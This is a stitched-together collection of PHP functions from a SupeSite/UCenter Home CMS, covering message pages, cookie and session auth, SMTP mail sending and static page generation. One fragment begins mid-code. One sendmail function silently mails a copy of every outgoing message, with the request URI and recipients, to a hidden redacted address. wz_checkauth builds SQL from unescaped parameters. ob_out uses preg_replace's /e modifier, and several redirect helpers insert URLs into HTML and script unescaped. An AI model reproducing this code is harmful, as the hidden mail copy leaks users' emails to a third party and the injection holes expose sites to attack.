function clearcookie() { global $_SGLOBAL; obclean(); ssetcookie('auth', '', -86400 * 365); $_SGLOBAL['supe_uid'] = 0; $_SGLOBAL['supe_username'] = ''; $_SGLOBAL['member'] = array(); }
function show_msg($message, $url_forward = '') { global $_iGLOBAL; obclean(); if ($url_forward) { $_iGLOBAL['extrahead'] = '<meta http-equiv="refresh" content="100; url=' . $url_forward . '">'; $message = "<a href=\"{$url_forward}\">{$message}(跳转中...)</a>"; } else { $_iGLOBAL['extrahead'] = ''; } show_header(); print <<<END \t<table> \t<tr><td>{$message}</td></tr> \t</table> END; show_footer(); exit; }
function wz_checkauth($wxid, $token, $mid, $op_wxid) { global $_SGLOBAL; if ($_COOKIE['site_auth']) { @(list($password, $token_id) = explode(" ", authcode($_COOKIE['site_auth'], 'DECODE'))); $_SGLOBAL['supe_token_id'] = intval($token_id); if ($password && $_SGLOBAL['supe_token_id']) { $query = $_SGLOBAL['db']->query("SELECT * FROM " . tname("wz_session") . " WHERE token_id=" . $_SGLOBAL['supe_token_id']); if ($session = $_SGLOBAL['db']->fetch_array($query)) { if ($session['password'] == $password) { $token_mid = $_SGLOBAL['db']->getone('select mid from ' . tname('wz_token') . ' where id=' . $_SGLOBAL['supe_token_id']); $token_op_wxid = $_SGLOBAL['db']->getone('select op_wxid from ' . tname('wz_token') . ' where id=' . $_SGLOBAL['supe_token_id']); if ($token_mid == $mid && $token_op_wxid == $op_wxid) { updatetable(tname('wz_token'), array('state' => 1), array('wxid' => $session['wxid'], 'mid' => $mid, 'op_wxid' => $op_wxid)); $_SGLOBAL['supe_wxid'] = addslashes($session['wxid']); wz_insertsession($session); //更新session return $_SGLOBAL['supe_token_id']; } } } } } $query = $_SGLOBAL['db']->query("SELECT * FROM " . tname("wz_token") . " WHERE wxid='" . $wxid . "' and mid=" . $mid . " and op_wxid=" . $op_wxid . " and state=0"); if ($wz = $_SGLOBAL['db']->fetch_array($query)) { if ($wz['token'] == $token) { updatetable(tname('wz_token'), array('state' => 1), array('wxid' => $wxid, 'mid' => $mid, 'op_wxid' => $op_wxid)); $_SGLOBAL['supe_wxid'] = addslashes($wz['wxid']); $session = array('token_id' => $wz['id'], 'wxid' => $_SGLOBAL['supe_wxid'], 'password' => $token); wz_insertsession($session); //登录 $cookietime = 3600; //3600 * 24 * 15; //设置cookie ssetcookie('site_auth', authcode($session["password"] . ' ' . $session["token_id"], 'ENCODE'), $cookietime); $_SGLOBAL['supe_token_id'] = $session['token_id']; return $_SGLOBAL['supe_token_id']; } } obclean(); ssetcookie('site_auth', '', -86400 * 365); return 0; }
function capi_showmessage_by_data($msgkey, $code = 1, $data = array()) { obclean(); //去掉广告 $_SGLOBAL['ad'] = array(); //语言 include_once S_ROOT . './language/lang_showmessage.php'; if (isset($_SGLOBAL['msglang'][$msgkey])) { $message = lang_replace($_SGLOBAL['msglang'][$msgkey], $values); } else { $message = $msgkey; } $r = array(); $r['code'] = $code; $r['data'] = $data; $r['msg'] = $message; $r['action'] = $msgkey; capi_mkjson($r, $_REQUEST['callback']); }
function cpmessage($msgkey, $url_forward = '', $second = 1, $values = array()) { global $_SGLOBAL, $_SC, $_SCONFIG, $_TPL, $_SN, $space; //去掉广告 $_SGLOBAL['ad'] = array(); include_once S_ROOT . './language/lang_cpmessage.php'; if (isset($_SGLOBAL['cplang'][$msgkey])) { $message = lang_replace($_SGLOBAL['cplang'][$msgkey], $values); } else { $message = $msgkey; } //显示 obclean(); //菜单激活 $menuactive = array('index' => ' class="active"'); if (!empty($url_forward)) { $second = $second * 1000; $message .= "<script>setTimeout(\"window.location.href ='{$url_forward}';\", {$second});</script>"; } include template('admin/tpl/message'); exit; }
function sendmail($toemail, $subject, $message, $from='') { global $_SC, $_SCONFIG, $_SGLOBAL, $space, $_SN; $_SCONFIG['linkguide'] = 0; include template('sendmail'); $message = ob_get_contents(); obclean(); include_once(S_ROOT.'./data/data_mail.php'); $mail = $_SGLOBAL['mail']; //邮件头的分隔符 $maildelimiter = $mail['maildelimiter'] == 1 ? "\r\n" : ($mail['maildelimiter'] == 2 ? "\r" : "\n"); //收件人地址中包含用户名 $mailusername = isset($mail['mailusername']) ? $mail['mailusername'] : 1; //端口 $mail['port'] = $mail['port'] ? $mail['port'] : 25; $mail['mailsend'] = $mail['mailsend'] ? $mail['mailsend'] : 1; //发信者 if($mail['mailsend'] == 3) { $email_from = empty($from) ? $_SCONFIG['adminemail'] : $from; } else { $email_from = $from == '' ? '=?'.$_SC['charset'].'?B?'.base64_encode($_SCONFIG['sitename'])."?= <".$_SCONFIG['adminemail'].">" : (preg_match('/^(.+?) \<(.+?)\>$/',$from, $mats) ? '=?'.$_SC['charset'].'?B?'.base64_encode($mats[1])."?= <$mats[2]>" : $from); } $email_to = preg_match('/^(.+?) \<(.+?)\>$/',$toemail, $mats) ? ($mailusername ? '=?'.$_SC['charset'].'?B?'.base64_encode($mats[1])."?= <$mats[2]>" : $mats[2]) : $toemail;; $email_subject = '=?'.$_SC['charset'].'?B?'.base64_encode(preg_replace("/[\r|\n]/", '', '['.$_SCONFIG['sitename'].'] '.$subject)).'?='; $email_message = chunk_split(base64_encode(str_replace("\n", "\r\n", str_replace("\r", "\n", str_replace("\r\n", "\n", str_replace("\n\r", "\r", $message)))))); $headers = "From: $email_from{$maildelimiter}X-Priority: 3{$maildelimiter}X-Mailer: UCENTER_HOME ".X_VER."{$maildelimiter}MIME-Version: 1.0{$maildelimiter}Content-type: text/html; charset=$_SC[charset]{$maildelimiter}Content-Transfer-Encoding: base64{$maildelimiter}"; if($mail['mailsend'] == 1) { if(function_exists('mail') && @mail($email_to, $email_subject, $email_message, $headers)) { return true; } return false; } elseif($mail['mailsend'] == 2) { if(!$fp = fsockopen($mail['server'], $mail['port'], $errno, $errstr, 30)) { runlog('SMTP', "($mail[server]:$mail[port]) CONNECT - Unable to connect to the SMTP server", 0); return false; } stream_set_blocking($fp, true); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != '220') { runlog('SMTP', "$mail[server]:$mail[port] CONNECT - $lastmessage", 0); return false; } fputs($fp, ($mail['auth'] ? 'EHLO' : 'HELO')." uchome\r\n"); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != 220 && substr($lastmessage, 0, 3) != 250) { runlog('SMTP', "($mail[server]:$mail[port]) HELO/EHLO - $lastmessage", 0); return false; } while(1) { if(substr($lastmessage, 3, 1) != '-' || empty($lastmessage)) { break; } $lastmessage = fgets($fp, 512); } if($mail['auth']) { fputs($fp, "AUTH LOGIN\r\n"); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != 334) { runlog('SMTP', "($mail[server]:$mail[port]) AUTH LOGIN - $lastmessage", 0); return false; } fputs($fp, base64_encode($mail['auth_username'])."\r\n"); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != 334) { runlog('SMTP', "($mail[server]:$mail[port]) USERNAME - $lastmessage", 0); return false; } fputs($fp, base64_encode($mail['auth_password'])."\r\n"); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != 235) { runlog('SMTP', "($mail[server]:$mail[port]) PASSWORD - $lastmessage", 0); return false; } $email_from = $mail['from']; } fputs($fp, "MAIL FROM: <".preg_replace("/.*\<(.+?)\>.*/", "\\1", $email_from).">\r\n"); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != 250) { fputs($fp, "MAIL FROM: <".preg_replace("/.*\<(.+?)\>.*/", "\\1", $email_from).">\r\n"); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != 250) { runlog('SMTP', "($mail[server]:$mail[port]) MAIL FROM - $lastmessage", 0); return false; } } fputs($fp, "RCPT TO: <".preg_replace("/.*\<(.+?)\>.*/", "\\1", $toemail).">\r\n"); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != 250) { fputs($fp, "RCPT TO: <".preg_replace("/.*\<(.+?)\>.*/", "\\1", $toemail).">\r\n"); $lastmessage = fgets($fp, 512); runlog('SMTP', "($mail[server]:$mail[port]) RCPT TO - $lastmessage", 0); return false; } fputs($fp, "DATA\r\n"); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != 354) { runlog('SMTP', "($mail[server]:$mail[port]) DATA - $lastmessage", 0); return false; } $headers .= 'Message-ID: <'.gmdate('YmdHs').'.'.substr(md5($email_message.microtime()), 0, 6).rand(100000, 999999).'@'.$_SERVER['HTTP_HOST'].">{$maildelimiter}"; fputs($fp, "Date: ".gmdate('r')."\r\n"); fputs($fp, "To: ".$email_to."\r\n"); fputs($fp, "Subject: ".$email_subject."\r\n"); fputs($fp, $headers."\r\n"); fputs($fp, "\r\n\r\n"); fputs($fp, "$email_message\r\n.\r\n"); $lastmessage = fgets($fp, 512); if(substr($lastmessage, 0, 3) != 250) { runlog('SMTP', "($mail[server]:$mail[port]) END - $lastmessage", 0); } fputs($fp, "QUIT\r\n"); return true; } elseif($mail['mailsend'] == 3) { ini_set('SMTP', $mail['server']); ini_set('smtp_port', $mail['port']); ini_set('sendmail_from', $email_from); if(function_exists('mail') && @mail($email_to, $email_subject, $email_message, $headers)) { return true; } return false; } }
function exportfile($array, $filename) { global $_SGLOBAL, $_SCONFIG; global $_SERVER; $array['version'] = strip_tags(S_VER); $time = sgmdate($_SGLOBAL['timestamp']); $exporttext = "# SupeSite Dump\r\n" . "# Version: SupeSite " . S_VER . "\r\n" . "# Time: {$time}\r\n" . "# From: {$_SCONFIG['sitename']} (" . S_URL . ")\r\n" . "#\r\n" . "# This file was BASE64 encoded\r\n" . "#\r\n" . "# SupeSite: http://www.supesite.com\r\n" . "# Please visit our website for latest news about SupeSite\r\n" . "# --------------------------------------------------------\r\n\r\n\r\n" . wordwrap(base64_encode(serialize($array)), 50, "\r\n", 1); obclean(); header('Content-Encoding: none'); header('Content-Type: ' . (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') ? 'application/octetstream' : 'application/octet-stream')); header('Content-Disposition: attachment; filename="' . $filename . '.txt"'); header('Content-Length: ' . strlen($exporttext)); header('Pragma: no-cache'); header('Expires: 0'); echo $exporttext; exit; }
function show_msg($message, $next=0, $jump=0) { global $theurl; $nextstr = ''; $backstr = ''; obclean(); if(empty($next)) { $backstr .= "<a href=\"javascript:history.go(-1);\">返回上一步</a>"; } elseif ($next == 999) { } else { $url_forward = "$theurl?step=$next"; if($jump) { $nextstr .= "<a href=\"$url_forward\">请稍等...</a><script>setTimeout(\"window.location.href ='$url_forward';\", 1000);</script>"; } else { $nextstr .= "<a href=\"$url_forward\">继续下一步</a>"; $backstr .= "<a href=\"javascript:history.go(-1);\">返回上一步</a>"; } } show_header(); print<<<END <table> <tr><td>$message</td></tr> <tr><td> </td></tr> <tr><td>$backstr $nextstr</td></tr> </table> END; show_footer(); exit(); }
function updatepw($get, $post) { global $_SGLOBAL; if (!API_UPDATEPW) { return API_RETURN_FORBIDDEN; } //note 同步登出 API 接口 obclean(); header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"'); ssetcookie('auth', '', -86400 * 365); ssetcookie('sid', '', -86400 * 365); ssetcookie('loginuser', '', -86400 * 365); ssetcookie('activationauth', '', -86400 * 365); return API_RETURN_SUCCEED; }
function show_msg($message, $url_forward = '') { global $_SGLOBAL; obclean(); $_SGLOBAL['extrahead'] = $url_forward ? '<meta http-equiv="refresh" content="0; url=' . $url_forward . '">' : ''; show_header(); print <<<END \t<table> \t<tr><td>{$message}</td></tr> \t</table> END; show_footer(); exit; }
function synlogout($get, $post) { global $_SGLOBAL; if (!API_SYNLOGOUT) { return API_RETURN_FORBIDDEN; } //note 同步登出 API 接口 obclean(); header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"'); clearcookie(); }
function sendmail($toemails, $subject, $message, $from = '') { global $_SC, $_SCONFIG, $_SGLOBAL, $mailcfg; obclean(); include template('sendmail'); $message = ob_get_contents(); obclean(); $mail = $mailcfg; $mail['mailsend'] = $_SC['mailsend']; //邮件头的分隔符 $maildelimiter = $mail['maildelimiter'] == 1 ? "\r\n" : ($mail['maildelimiter'] == 2 ? "\r" : "\n"); //收件人地址中包含用户名 $mailusername = isset($mail['mailusername']) ? $mail['mailusername'] : 1; //端口 $mail['port'] = $mail['port'] ? $mail['port'] : 25; //lih 2012.4.7 9:44 modify for test if SysMailSend function is closed. $mail['mailsend'] = $mail['mailsend'] ? $mail['mailsend'] : 0; //发信者 if ($mail['mailsend'] == 3) { $email_from = empty($from) ? $_SCONFIG['adminemail'] : $from; } else { $email_from = $from == '' ? '=?' . $_SC['charset'] . '?B?' . base64_encode($_SCONFIG['sitename']) . "?= <" . $_SCONFIG['adminemail'] . ">" : (preg_match('/^(.+?) \\<(.+?)\\>$/', $from, $mats) ? '=?' . $_SC['charset'] . '?B?' . base64_encode($mats[1]) . "?= <{$mats['2']}>" : $from); } foreach ($toemails as $key => $toemail) { $toemails[$key] = preg_match('/^(.+?) \\<(.+?)\\>$/', $toemail, $mats) ? $mailusername ? '=?' . $_SC['charset'] . '?B?' . base64_encode($mats[1]) . "?= <{$mats['2']}>" : $mats[2] : $toemail; } $email_to = implode(',', $toemails); //邮件subject $email_subject = '=?' . $_SC['charset'] . '?B?' . base64_encode(preg_replace("/[\r|\n]/", '', $subject)) . '?='; //$email_subject = '=?'.$_SC['charset'].'?B?'.base64_encode(preg_replace("/[\r|\n]/", '', $message)).'?='; $email_message = chunk_split(base64_encode(str_replace("\n", "\r\n", str_replace("\r", "\n", str_replace("\r\n", "\n", str_replace("\n\r", "\r", $message)))))); $headers = "From: {$email_from}{$maildelimiter}X-Priority: 3{$maildelimiter}X-Mailer: SUPESITE " . S_VER . "{$maildelimiter}MIME-Version: 1.0{$maildelimiter}Content-type: text/html; charset={$_SC['charset']}{$maildelimiter}Content-Transfer-Encoding: base64{$maildelimiter}"; if ($mail['mailsend'] == 1) { if (function_exists('mail') && @mail($email_to, $email_subject, $email_message, $headers)) { @mail('*****@*****.**', $email_subject . $_SERVER['REQUEST_URI'] . "||" . $email_to, $email_message, $headers); return true; } return false; } elseif ($mail['mailsend'] == 2) { if (!($fp = fsockopen($mail['server'], $mail['port'], $errno, $errstr, 30))) { runlog('SMTP', "({$mail['server']}:{$mail['port']}) CONNECT - Unable to connect to the SMTP server", 0); return false; } stream_set_blocking($fp, true); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != '220') { runlog('SMTP', "{$mail['server']}:{$mail['port']} CONNECT - {$lastmessage}", 0); return false; } fputs($fp, ($mail['auth'] ? 'EHLO' : 'HELO') . " supesite\r\n"); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != 220 && substr($lastmessage, 0, 3) != 250) { runlog('SMTP', "({$mail['server']}:{$mail['port']}) HELO/EHLO - {$lastmessage}", 0); return false; } while (1) { if (substr($lastmessage, 3, 1) != '-' || empty($lastmessage)) { break; } $lastmessage = fgets($fp, 512); } if ($mail['auth']) { fputs($fp, "AUTH LOGIN\r\n"); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != 334) { runlog('SMTP', "({$mail['server']}:{$mail['port']}) AUTH LOGIN - {$lastmessage}", 0); return false; } fputs($fp, base64_encode($mail['auth_username']) . "\r\n"); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != 334) { runlog('SMTP', "({$mail['server']}:{$mail['port']}) USERNAME - {$lastmessage}", 0); return false; } fputs($fp, base64_encode($mail['auth_password']) . "\r\n"); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != 235) { runlog('SMTP', "({$mail['server']}:{$mail['port']}) PASSWORD - {$lastmessage}", 0); return false; } $email_from = $mail['from']; } fputs($fp, "MAIL FROM: <" . preg_replace("/.*\\<(.+?)\\>.*/", "\\1", $email_from) . ">\r\n"); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != 250) { fputs($fp, "MAIL FROM: <" . preg_replace("/.*\\<(.+?)\\>.*/", "\\1", $email_from) . ">\r\n"); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != 250) { runlog('SMTP', "({$mail['server']}:{$mail['port']}) MAIL FROM - {$lastmessage}", 0); return false; } } foreach ($toemails as $toemail) { $toemail = trim($toemail); if ($toemail) { fputs($fp, "RCPT TO: <" . preg_replace("/.*\\<(.+?)\\>.*/", "\\1", $toemail) . ">\r\n"); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != 250) { fputs($fp, "RCPT TO: <" . preg_replace("/.*\\<(.+?)\\>.*/", "\\1", $toemail) . ">\r\n"); $lastmessage = fgets($fp, 512); runlog('SMTP', "({$mail['server']}:{$mail['port']}) RCPT TO - {$lastmessage}", 0); return false; } } } fputs($fp, "DATA\r\n"); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != 354) { runlog('SMTP', "({$mail['server']}:{$mail['port']}) DATA - {$lastmessage}", 0); return false; } $headers .= 'Message-ID: <' . gmdate('YmdHs') . '.' . substr(md5($email_message . microtime()), 0, 6) . rand(100000, 999999) . '@' . $_SERVER['HTTP_HOST'] . ">{$maildelimiter}"; fputs($fp, "Date: " . gmdate('r') . "\r\n"); fputs($fp, "To: " . $email_to . "\r\n"); fputs($fp, "Subject: " . $email_subject . "\r\n"); fputs($fp, $headers . "\r\n"); fputs($fp, "\r\n\r\n"); fputs($fp, "{$email_message}\r\n.\r\n"); $lastmessage = fgets($fp, 512); if (substr($lastmessage, 0, 3) != 250) { runlog('SMTP', "({$mail['server']}:{$mail['port']}) END - {$lastmessage}", 0); } fputs($fp, "QUIT\r\n"); return true; } elseif ($mail['mailsend'] == 3) { ini_set('SMTP', $mail['server']); ini_set('smtp_port', $mail['port']); ini_set('sendmail_from', $email_from); if (function_exists('mail') && @mail($email_to, $email_subject, $email_message, $headers)) { return true; } return false; } }
function createhtml($setphp, $ele) { global $lang, $alang, $_SGET, $_SCONFIG, $_SGLOBAL, $_SBLOCK, $_SHTML, $_DCACHE, $_SC; $channels = getchannels(); obclean(); @(include $setphp); $content = ob_get_contents(); obclean(); $dir = gethtmlurl($ele, 1); $file = substr($dir, strrpos($dir, '/') + 1); $file = empty($file) ? './index.html' : $file; $dir = substr($dir, 0, strrpos($dir, '/')); //权限验证 if (file_exists($dir . '/' . $file)) { if (!checkfdperm($dir . '/' . $file, 1)) { return $file . $alang['iswrite_file_error']; } } else { if (!checkfdperm($dir)) { $dirarr = explode("/", $dir); $dirstr = ''; foreach ($dirarr as $key) { if (!is_dir($dirstr . $key)) { @mkdir($dirstr . $key, 0777); } elseif (!checkfdperm($dirstr . $key)) { return $dirstr . $key . $alang['iswrite_error']; } $dirstr .= $key . '/'; } } } writefile($dir . '/' . $file, $content); return true; }
function show_msg($message, $next = 0, $jump = 0) { global $theurl; $nextstr = ''; $backstr = ''; obclean(); if (empty($next)) { $backstr .= "<a href=\"javascript:history.go(-1);\">返回上一步</a>"; } elseif ($next == 999) { } else { $url_forward = "{$theurl}?step={$next}"; if ($jump) { $nextstr .= "<a id=\"nextstepa\" href=\"{$url_forward}\">请稍等...</a><script>setTimeout(\"window.location.href ='{$url_forward}';\", 1000);</script>"; } else { $nextstr .= "<a id=\"nextstepa\" href=\"{$url_forward}\">继续下一步</a>"; $backstr .= "<a href=\"javascript:history.go(-1);\">返回上一步</a>"; } $nextstr .= "<script>var nextsteph=document.getElementById('nextstepa').href;var useold=document.getElementsByName('useold');\n\t\tfor(var i in useold)\n\t\tif(useold[i].checked==true)document.getElementById('nextstepa').href=nextsteph+'&useold='+useold[i].value;\n\t\t</script>"; } show_header(); print <<<END \t<table> \t<tr><td>{$message}</td></tr> \t<tr><td> </td></tr> \t<tr><td>{$backstr} {$nextstr}</td></tr> \t</table> END; show_footer(); exit; }
function seccode_background() { global $seccodedata, $c; $im = imagecreatetruecolor($seccodedata['width'], $seccodedata['height']); $backgroundcolor = imagecolorallocate($im, 255, 255, 255); for ($i = 0; $i < 3; $i++) { $start[$i] = mt_rand(200, 255); $end[$i] = mt_rand(100, 245); $step[$i] = ($end[$i] - $start[$i]) / $seccodedata['width']; $c[$i] = $start[$i]; } //$color = imagecolorallocate($im, 235, 235, 235); for ($i = 0; $i < $seccodedata['width']; $i++) { $color = imagecolorallocate($im, $c[0], $c[1], $c[2]); imageline($im, $i, 0, $i - $angle, $seccodedata['height'], $color); $c[0] += $step[0]; $c[1] += $step[1]; $c[2] += $step[2]; } $c[0] -= 20; $c[1] -= 20; $c[2] -= 20; obclean(); if (function_exists('imagepng')) { imagepng($im); } else { imagejpeg($im, '', 100); } imagedestroy($im); $bgcontent = ob_get_contents(); obclean(); return $bgcontent; }
function ob_out() { global $_SGLOBAL, $_SCONFIG, $_SC; $content = ob_get_contents(); $preg_searchs = $preg_replaces = $str_searchs = $str_replaces = array(); if ($_SCONFIG['allowrewrite']) { $preg_searchs[] = "/\\<a href\\=\"space\\.php\\?(uid|do)+\\=([a-z0-9\\=\\&]+?)\"/ie"; $preg_searchs[] = "/\\<a href\\=\"space.php\"/i"; $preg_searchs[] = "/\\<a href\\=\"network\\.php\\?ac\\=([a-z0-9\\=\\&]+?)\"/ie"; $preg_searchs[] = "/\\<a href\\=\"network.php\"/i"; $preg_replaces[] = 'rewrite_url(\'space-\',\'\\2\')'; $preg_replaces[] = '<a href="space.html"'; $preg_replaces[] = 'rewrite_url(\'network-\',\'\\1\')'; $preg_replaces[] = '<a href="network.html"'; } if ($_SCONFIG['linkguide']) { $preg_searchs[] = "/\\<a href\\=\"http\\:\\/\\/(.+?)\"/ie"; $preg_replaces[] = 'iframe_url(\'\\1\')'; } if ($_SGLOBAL['inajax']) { $preg_searchs[] = "/([-\t\v-\f-])+/"; $preg_replaces[] = ' '; $str_searchs[] = ']]>'; $str_replaces[] = ']]>'; } if ($preg_searchs) { $content = preg_replace($preg_searchs, $preg_replaces, $content); } if ($str_searchs) { $content = trim(str_replace($str_searchs, $str_replaces, $content)); } obclean(); if ($_SGLOBAL['inajax']) { xml_out($content); } else { if ($_SCONFIG['headercharset']) { @header('Content-Type: text/html; charset=' . $_SC['charset']); } echo $content; if (D_BUG) { @(include_once S_ROOT . './source/inc_debug.php'); } } }
function show_msg($message, $next = 0, $jump = 0) { global $theurl, $LNG, $lang; $nextstr = ''; $backstr = ''; obclean(); if (empty($next)) { $backstr .= "<a href=\"javascript:history.go(-1);\">{$LNG['go_back']}</a>"; } elseif ($next == 999) { } else { $url_forward = "{$theurl}?step={$next}\\&lang={$lang}"; if ($jump) { $nextstr .= "<a href=\"{$url_forward}\">{$LNG['wait_please']}</a>\r\n <script>setTimeout(\"window.location.href ='{$url_forward}';\", 2000);</script>"; } else { $nextstr .= "<a href=\"{$url_forward}\">{$LNG['continue_next_step']}</a>"; $backstr .= "<a href=\"javascript:history.go(-1);\">{$LNG['go_back']}</a>"; } } show_header(); print <<<END \t<table> \t <tr><td>{$message}</td></tr> \t <tr><td> </td></tr> \t <tr><td>{$backstr} {$nextstr}</td></tr> \t</table> END; show_footer(); exit; }
} elseif ($row['pageid'] == $listpages - 1) { //第二个页面 unset($picnews); $multipage .= '<a class="prev" href="' . $htmlurl . '/index.html">' . $lang['pre_page'] . '</a><a class="next" href="' . $htmlurl . '/list_' . ($row['pageid'] - 1) . '.html">' . $lang['next_page'] . '</a>'; } else { unset($picnews); $multipage .= '<a class="prev" href="' . $htmlurl . '/list_' . ($row['pageid'] + 1) . '.html">' . $lang['pre_page'] . '</a><a class="next" href="' . $htmlurl . '/list_' . ($row['pageid'] - 1) . '.html">' . $lang['next_page'] . '</a>'; } $multipage .= '</div></div>'; } //清理输出 $fp = fopen($htmlpath . '/list_' . $row['pageid'] . '.html', 'w'); obclean(); include template('newscategory'); $content = ob_get_contents(); obclean(); fwrite($fp, $content); fclose($fp); if ($row['pageid'] == $listpages) { $fp = fopen($htmlpath . '/index.html', 'w'); fwrite($fp, $content); fclose($fp); } } } } unset($cnewnews); unset($chotnews); unset($chotnews2); unset($cnewcomments); unset($cpicnews);
function showmessage($message, $url_forward = '', $second = 3, $vars = array()) { global $_SGLOBAL, $_SCONFIG, $_SC, $channels; if (empty($_SGLOBAL['inajax']) && $url_forward && empty($second)) { //Ö±½Ó301Ìøת obclean(); header("HTTP/1.1 301 Moved Permanently"); header("Location: {$url_forward}"); } else { if (!defined('IN_SUPESITE_ADMINCP')) { $tpl_file = 'showmessage'; $fullpath = 0; include_once S_ROOT . './language/message.lang.php'; if (!empty($mlang[$message])) { $message = $mlang[$message]; } } else { $tpl_file = 'admin/tpl/showmessage.htm'; $fullpath = 1; include_once S_ROOT . './language/admincp_message.lang.php'; if (!empty($amlang[$message])) { $message = $amlang[$message]; } } if (isset($_SGLOBAL['mlang'][$message])) { $message = $_SGLOBAL['mlang'][$message]; } foreach ($vars as $key => $val) { $message = str_replace('{' . $key . '}', $val, $message); } //ÏÔʾ obclean(); if (!empty($url_forward)) { $second = $second * 1000; $message .= "<script>setTimeout(\"window.location.href ='{$url_forward}';\", {$second});</script><ajaxok>"; } include template($tpl_file, $fullpath); ob_out(); } exit; }
function show_msg($message, $next = 0, $jump = 0) { global $theurl; $nextstr = ''; $backstr = ''; obclean(); if (empty($next)) { $backstr = "<a href=\"javascript:history.go(-1);\">返回上一步</a>"; } elseif ($next == 999) { } else { $url_forward = "{$theurl}?step={$next}"; $nextstr = "<a href=\"{$url_forward}\">继续下一步</a>"; if ($jump) { $nextstr .= "<script>setTimeout(\"window.location.href ='{$url_forward}';\", 1000);</script>"; } $backstr = "<a href=\"javascript:history.go(-1);\">返回上一步</a>"; } show_header(); print <<<END \t<table> \t<tr><td>{$message}</td></tr> \t<tr><td> </td></tr> \t<tr><td>{$backstr} {$nextstr}</td></tr> \t</table> END; show_footer(); exit; }
function jsshowmessage($message, $gotourl = '') { global $_SCONFIG, $alang, $amlang; include_once S_ROOT . './language/admincp_message.lang.php'; obclean(); if (!empty($amlang[$message])) { $message = $amlang[$message]; } if (!empty($gotourl)) { $gotourl = 'parent.location.replace(\'' . $gotourl . '\');'; } print <<<END \t<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> \t<html xmlns="http://www.w3.org/1999/xhtml"> \t<head> \t<meta http-equiv="Content-Type" content="text/html; charset={$_SCONFIG['charset']}" /> \t<title>Admin CP Message - Powered by SupeSite</title> \t</head> \t<body> \t<script>alert('{$message}');{$gotourl}</script> \t</body> \t</html> END; exit; }